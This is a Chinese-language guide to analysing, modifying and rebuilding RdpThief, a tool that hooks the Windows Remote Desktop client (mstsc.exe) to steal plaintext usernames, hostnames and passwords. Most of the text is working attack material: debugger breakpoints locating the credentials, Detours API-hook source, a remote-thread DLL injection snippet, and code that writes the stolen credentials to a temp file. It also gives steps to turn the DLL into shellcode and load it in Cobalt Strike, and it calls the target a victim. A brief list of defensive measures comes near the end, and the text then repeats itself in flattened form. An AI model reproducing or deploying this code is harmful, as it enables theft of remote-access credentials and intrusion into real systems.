对获取 rdp 密码的小工具 RdpThief 的一次深究
字数 1969 2025-08-07 08:22:02

RdpThief 工具深度分析与使用指南

0x01 工具概述

RdpThief 是一款用于窃取 Windows 远程桌面(RDP)连接凭证的工具,能够捕获 mstsc.exe 进程中的明文用户名、密码和主机信息。该工具最初发布于2019年,通过 API Hook 技术实现凭证窃取。

0x02 工具原理

RdpThief 通过 Hook 以下关键 API 函数实现凭证窃取:

  1. CredIsMarshaledCredentialWStub - 获取用户名
  2. CredReadWStub/SspiPrepareForCredRead - 获取主机名
  3. CryptProtectMemory - 获取密码

0x03 环境准备

测试环境

  • 两台 Windows 10 主机
  • 工具:API Monitor、WinDbg

复现步骤

  1. 从 GitHub 下载 RdpThief 仓库
  2. RdpThief_x64.tmpRdpThief.cna 放入 Cobalt Strike 的 scripts 目录
  3. 在 Cobalt Strike 中加载 RdpThief.cna 插件
  4. 使用命令 rdpthief_enable 启动监控
  5. 当受害者使用 mstsc 连接远程主机时,使用 rdpthief_dump 查看凭证

0x04 技术分析

1. 用户名获取分析

用户名出现在 Advapi32.dllCredIsMarshaledCredentialWStub 函数中:

bp ADVAPI32!CredIsMarshaledCredentialWStub "du @rcx"

使用 WinDbg 调试时需要注意:

  • 使用 fastcall 调用约定,第一个参数在 RCX 寄存器
  • API Monitor 显示的函数名可能与实际不符,需使用模糊搜索

2. 主机名获取分析

主机名出现在两个位置:

  1. Advapi32.dllCredReadWStub 函数
  2. SspiCli.dllSspiPrepareForCredRead 函数

调试命令:

bp ADVAPI32!CredReadWStub "du @rcx"
bp SSPICLI!SspiPrepareForCredRead "du @rdx"

3. 密码获取分析

密码使用 Windows DPAPI(数据加密保护接口)进行保护,关键函数:

  • CryptProtectMemory - 加密内存数据
  • CryptUnprotectMemory - 解密内存数据

调试发现密码出现在 dpapi.dllCryptProtectMemory 函数中:

bu dpapi!cryptprotectmemory

密码存储格式:

  • 前4字节为密码长度(cbData)
  • 后续字节为实际密码内容

查看密码命令:

du @rcx+4

0x05 Detours 库使用

RdpThief 使用 Microsoft Detours 库实现 API Hook:

1. 编译 Detours

  1. 下载 Detours 源码
  2. 使用 VS 2019 x64/x86 Native Tools Command Prompt
  3. 进入 src 目录执行 nmake /f Makefile

2. 基本 Hook 示例

#include <windows.h>
#include "detours.h"
#pragma comment(lib, "detours.lib")

// 原函数指针
int (WINAPI* Old_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT) = MessageBoxW;

// 新Hook函数
int WINAPI New_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
    return Old_MessageBoxW(NULL, L"Hooked", L"Hooked Title", NULL);
}

void Hook() {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);
    DetourTransactionCommit();
}

void DeHook() {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW);
    DetourTransactionCommit();
}

0x06 RdpThief 代码修改与编译

1. 项目配置

  1. 创建 DLL 项目
  2. 添加 Detours 包含目录和库目录
  3. 修改 #include "stdafx.h"#include "pch.h"
  4. 添加 #pragma comment(lib, "detours.lib")

2. 关键修改点

修改主机名获取方式(从 SspiPrepareForCredRead 改为 CredReadW):

static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, 
    _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW;

BOOL HookedCredReadW(_In_ LPCWSTR TargetName, _In_ DWORD Type, 
    _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) {
    lpServer = TargetName;
    return OriginalCredReadW(TargetName, Type, Flags, Credential);
}

3. 密码处理注意事项

密码数据偏移处理:

lpTempPassword = (LPWSTR)(pDataIn + 0x1); // 跳过前4字节长度字段

0x07 DLL 注入测试

使用远程线程注入测试编译的 DLL:

HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("E:\\path\\to\\RdpThief.dll");

DWORD parentPID = getPPID(L"mstsc.exe");
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID);

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, 
    MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, 
    sizeof dllPath, NULL);

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)
    GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, 
    remoteBuffer, 0, NULL);
CloseHandle(processHandle);

0x08 输出编码问题解决

原始输出使用 Unicode 编码导致方框问题,修改为多字节编码:

char* UnicodeToChar(LPCWSTR unicode_str) {
    int num = WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, 
        NULL, 0, NULL, FALSE);
    char* pchar = (char*)malloc(num);
    WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, 
        pchar, num, NULL, FALSE);
    return pchar;
}

VOID WriteCredentials() {
    TCHAR wtempPath[MAX_PATH];
    GetTempPath(MAX_PATH, wtempPath);
    
    char tempPath[MAX_PATH];
    wcstombs(tempPath, wtempPath, wcslen(wtempPath) + 1);
    
    ofstream f_temp(string(tempPath) + "data.bin");
    if(f_temp) {
        f_temp << "Server: " << UnicodeToChar(lpServer) 
               << "\nUsername:" << UnicodeToChar(lpUsername) 
               << "\nPassword: " << UnicodeToChar(lpTempPassword) 
               << "\n\n";
    }
    f_temp.close();
}

0x09 Windows 7 兼容性修复

在项目属性中修改:

  1. 配置属性 -> C/C++ -> 代码生成
  2. 将运行库从"多线程DLL(/MD)"改为"多线程(/MT)"

0x0A Cobalt Strike 集成

使用 sRDI 将 DLL 转换为 shellcode:

python3 ConvertToShellcode.py RdpThief.dll

将生成的 RdpThief.bin 重命名为 RdpThief_x64.tmp 并放入 CS 的 scripts 目录。

0x0B 已知问题

  1. API Monitor、WinDbg 和 VS 中函数名不一致问题
  2. CS 插件加载后获取数据偶尔乱码问题
  3. 部分 Windows 版本兼容性问题

0x0C 防御建议

  1. 监控 mstsc.exe 的异常 DLL 注入行为
  2. 检查临时目录下的 data.bin 文件
  3. 使用 Credential Guard 保护凭证
  4. 限制远程桌面客户端的权限

0x0D 参考资源

  1. RdpThief 原理解析
  2. API 监控与 Hook 技术
  3. Detours 官方文档
  4. sRDI 项目
RdpThief 工具深度分析与使用指南 0x01 工具概述 RdpThief 是一款用于窃取 Windows 远程桌面(RDP)连接凭证的工具,能够捕获 mstsc.exe 进程中的明文用户名、密码和主机信息。该工具最初发布于2019年,通过 API Hook 技术实现凭证窃取。 0x02 工具原理 RdpThief 通过 Hook 以下关键 API 函数实现凭证窃取: CredIsMarshaledCredentialWStub - 获取用户名 CredReadWStub/SspiPrepareForCredRead - 获取主机名 CryptProtectMemory - 获取密码 0x03 环境准备 测试环境 两台 Windows 10 主机 工具:API Monitor、WinDbg 复现步骤 从 GitHub 下载 RdpThief 仓库 将 RdpThief_x64.tmp 和 RdpThief.cna 放入 Cobalt Strike 的 scripts 目录 在 Cobalt Strike 中加载 RdpThief.cna 插件 使用命令 rdpthief_enable 启动监控 当受害者使用 mstsc 连接远程主机时,使用 rdpthief_dump 查看凭证 0x04 技术分析 1. 用户名获取分析 用户名出现在 Advapi32.dll 的 CredIsMarshaledCredentialWStub 函数中: 使用 WinDbg 调试时需要注意: 使用 fastcall 调用约定,第一个参数在 RCX 寄存器 API Monitor 显示的函数名可能与实际不符,需使用模糊搜索 2. 主机名获取分析 主机名出现在两个位置: Advapi32.dll 的 CredReadWStub 函数 SspiCli.dll 的 SspiPrepareForCredRead 函数 调试命令: 3. 密码获取分析 密码使用 Windows DPAPI(数据加密保护接口)进行保护,关键函数: CryptProtectMemory - 加密内存数据 CryptUnprotectMemory - 解密内存数据 调试发现密码出现在 dpapi.dll 的 CryptProtectMemory 函数中: 密码存储格式: 前4字节为密码长度(cbData) 后续字节为实际密码内容 查看密码命令: 0x05 Detours 库使用 RdpThief 使用 Microsoft Detours 库实现 API Hook: 1. 编译 Detours 下载 Detours 源码 使用 VS 2019 x64/x86 Native Tools Command Prompt 进入 src 目录执行 nmake /f Makefile 2. 基本 Hook 示例 0x06 RdpThief 代码修改与编译 1. 项目配置 创建 DLL 项目 添加 Detours 包含目录和库目录 修改 #include "stdafx.h" 为 #include "pch.h" 添加 #pragma comment(lib, "detours.lib") 2. 关键修改点 修改主机名获取方式(从 SspiPrepareForCredRead 改为 CredReadW): 3. 密码处理注意事项 密码数据偏移处理: 0x07 DLL 注入测试 使用远程线程注入测试编译的 DLL: 0x08 输出编码问题解决 原始输出使用 Unicode 编码导致方框问题,修改为多字节编码: 0x09 Windows 7 兼容性修复 在项目属性中修改: 配置属性 -> C/C++ -> 代码生成 将运行库从"多线程DLL(/MD)"改为"多线程(/MT)" 0x0A Cobalt Strike 集成 使用 sRDI 将 DLL 转换为 shellcode: 将生成的 RdpThief.bin 重命名为 RdpThief_x64.tmp 并放入 CS 的 scripts 目录。 0x0B 已知问题 API Monitor、WinDbg 和 VS 中函数名不一致问题 CS 插件加载后获取数据偶尔乱码问题 部分 Windows 版本兼容性问题 0x0C 防御建议 监控 mstsc.exe 的异常 DLL 注入行为 检查临时目录下的 data.bin 文件 使用 Credential Guard 保护凭证 限制远程桌面客户端的权限 0x0D 参考资源 RdpThief 原理解析 API 监控与 Hook 技术 Detours 官方文档 sRDI 项目